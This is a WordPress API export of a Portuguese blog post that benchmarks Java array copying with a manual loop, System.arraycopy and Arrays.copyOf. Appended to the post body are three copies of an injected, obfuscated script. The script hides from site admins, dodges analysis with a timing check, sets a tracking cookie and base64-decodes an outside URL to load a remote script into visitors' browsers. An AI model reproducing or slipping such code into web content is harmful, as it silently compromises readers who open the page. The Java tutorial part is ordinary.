{"id":4186,"date":"2015-10-22T11:09:22","date_gmt":"2015-10-22T13:09:22","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=4186"},"modified":"2025-10-26T22:31:39","modified_gmt":"2025-10-27T01:31:39","slug":"copiar-arrays-em-java","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2015\/10\/22\/copiar-arrays-em-java\/","title":{"rendered":"Copiar arrays em Java"},"content":{"rendered":"<p>Em Java, temos algumas maneiras de fazer c\u00f3pias ou sub-c\u00f3pias de arrays:<\/p>\n<ul>\n<li>Manualmente: criar outro array e copiar elemento a elemento<\/li>\n<li>Utilizar <a href=\"http:\/\/docs.oracle.com\/javase\/7\/docs\/api\/java\/lang\/System.html#arraycopy%28java.lang.Object,%20int,%20java.lang.Object,%20int,%20int%29\" target=\"_blank\" rel=\"noopener\">System.arraycopy<\/a><\/li>\n<li>Utilizar <a href=\"http:\/\/docs.oracle.com\/javase\/7\/docs\/api\/java\/util\/Arrays.html#copyOfRange%28boolean[],%20int,%20int%29\" target=\"_blank\" rel=\"noopener\">Arrays.copyOfRange<\/a> ou <a href=\"http:\/\/docs.oracle.com\/javase\/7\/docs\/api\/java\/util\/Arrays.html#copyOf%28boolean[],%20int%29\" target=\"_blank\" rel=\"noopener\">Arrays.copyOf<\/a> para vers\u00e3o do Java maior ou igual a 1.6<\/li>\n<\/ul>\n<p>Qual deles \u00e9 melhor? Criei um c\u00f3digo simples de teste que copia 1 milh\u00e3o de arrays de int com tamanho de 2048. Para a c\u00f3pia manual foi utilizado o seguinte c\u00f3digo:<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">\t\tfor(int idx=0;idx&lt;copied.length;idx++) {\n\t\t\tcopied&#x5B;idx] = toCopy&#x5B;idx];\n\t\t}<\/pre>\n<p>Para o System.arraycopy:<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">System.arraycopy(toCopy,0,copied,0,copied.length);<\/pre>\n<p>E para o Arrays.copyOf:<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">copied = Arrays.copyOf(toCopy, copied.length);<\/pre>\n<p>Claro que isso n\u00e3o \u00e9 um bechmarking muito confi\u00e1vel, mas \u00e9 s\u00f3 para ter uma no\u00e7\u00e3o, logo mais analisaremos a implementa\u00e7\u00e3o deles. Ao executar os testes na minha m\u00e1quina a m\u00e9dia de execu\u00e7\u00e3o para as c\u00f3pias de 1 milh\u00e3o de arrays na implementa\u00e7\u00e3o manual foi de 293 millisegundos, para o da classe System, 195 millisegundos e para o da classe Arrays, 1126 millisegundos. Lembrando que n\u00e3o estamos considerando as instancia\u00e7\u00f5es dos arrays. Se fizermos isso, o tempo vai ser semelhante para os 3 m\u00e9todos, j\u00e1 que o tempo de aloca\u00e7\u00e3o de mem\u00f3ria \u00e9 enormemente maior que o de c\u00f3pia do array e por esse motivo o Arrays.copyOf demora mais, j\u00e1 que ele faz a instancia\u00e7\u00e3o interna conforme veremos posteriormente.<\/p>\n<p>O System.arraycopy utiliza implementa\u00e7\u00e3o nativa:<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">public static native void arraycopy(Object src,  int  srcPos,\n                                         Object dest, int destPos,\n                                         int length);<\/pre>\n<p>O <a href=\"http:\/\/hg.openjdk.java.net\/jdk8\/jdk8\/hotspot\/file\/90273fc0a981\/src\/share\/vm\/oops\/objArrayKlass.cpp\" target=\"_blank\" rel=\"noopener\">c\u00f3digo em C++ pode ser visto na source do jdk<\/a>, por ser nativo e ter<a href=\"http:\/\/hg.openjdk.java.net\/jdk8\/jdk8\/jdk\/file\/1a3de3cdc684\/src\/share\/native\/java\/lang\/System.c\" target=\"_blank\" rel=\"noopener\"> diretivas de desempenho espec\u00edficas para esse m\u00e9todo<\/a>, o m\u00e9todo utilizando System.arraycopy tende a ser mais eficiente que o m\u00e9todo manual.<\/p>\n<p>Para o Arrays.copyOf temos a seguinte implementa\u00e7\u00e3o:<\/p>\n<pre class=\"brush: java; highlight: [2]; title: ; notranslate\" title=\"\">    public static int&#x5B;] copyOf(int&#x5B;] original, int newLength) {\n        int&#x5B;] copy = new int&#x5B;newLength];\n        System.arraycopy(original, 0, copy, 0,\n                         Math.min(original.length, newLength));\n        return copy;\n    }<\/pre>\n<p>Como podemos ver na linha 2, ele instancia o array, por isso acaba sendo mais lento que os outros no quesito tempo de execu\u00e7\u00e3o individual do m\u00e9todos, mas ele utiliza o System.arraycopy para realizar a c\u00f3pia.<\/p>\n<p>Meu veridito para uso dos m\u00e9todos de c\u00f3pias de array \u00e9: nunca utilize o m\u00e9todo manual se for c\u00f3pia simples, utilize o System.arraycopy quando voc\u00ea j\u00e1 tiver o objeto de destino da c\u00f3pia instanciado ou sua vers\u00e3o do Java \u00e9 inferior a 1.6 e o Arrays.copyOf em todos os outros casos, pois facilita a leitura e \u00e9 t\u00e3o perform\u00e1tico quanto o System.arraycopy se voc\u00ea considerar o tempo de instancia\u00e7\u00e3o (que \u00e9 feito internamente).<br \/>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Em Java, temos algumas maneiras de fazer c\u00f3pias ou sub-c\u00f3pias de arrays: Manualmente: criar outro array e copiar elemento a elemento Utilizar System.arraycopy Utilizar Arrays.copyOfRange ou Arrays.copyOf para vers\u00e3o do Java maior ou igual a 1.6 Qual deles \u00e9 melhor? <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2015\/10\/22\/copiar-arrays-em-java\/\">Continue lendo  <span class=\"screen-reader-text\">  Copiar arrays em Java<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3],"tags":[],"class_list":["post-4186","post","type-post","status-publish","format-standard","hentry","category-java"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/4186","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=4186"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/4186\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=4186"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=4186"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=4186"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}